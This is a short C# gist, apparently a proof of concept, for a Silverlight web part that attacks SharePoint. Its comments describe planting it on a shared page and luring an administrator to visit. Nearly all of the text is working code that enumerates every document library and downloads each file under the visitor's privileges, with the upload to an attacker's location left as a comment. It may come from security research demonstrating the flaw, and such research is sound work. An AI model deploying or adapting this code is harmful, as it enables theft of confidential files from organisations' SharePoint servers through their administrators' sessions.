gistfile1.cs

// A user with the privileges / ability to ...
//   - upload a file to a single document library
//   - edit one shared page, to add a silverlight webpart
//   - lure an administrator to visit said page
// .. can, using this Silverlight app, steal all (document library) files on 
// the SharePoint server, and post them to some nasty location.

var q = new CamlQuery { ViewXml = "<View Scope='Recursive'/>" };
IEnumerable<List> lists =
    ClientContext.Current.LoadQuery(
        ClientContext.Current.Web.Lists.Where(l => l.BaseTemplate == 101));
ClientContext.Current.ExecuteQueryAsync(
    (s, e) => 
    {
        var itemcolcol = lists.Select(list => ClientContext.Current.LoadQuery(
            from item in list.GetItems(q) 
            where item.FileSystemObjectType == FileSystemObjectType.File 
            select item)).ToList();
        ClientContext.Current.ExecuteQueryAsync(
            (s2, e2) => 
            {
                foreach (var item in itemcolcol.SelectMany(x => x))
                {
                    var dl = new WebClient();
                    dl.OpenReadCompleted +=
                        (s3, e3) =>
                        {
                            // File is now in e3.Result. Upload it anywhere.
                        };
                    dl.OpenReadAsync(new Uri(item["FileRef"] as string, UriKind.Relative));
                }
            },
            (s2, e2) => { });
    },
    (s, e) => { });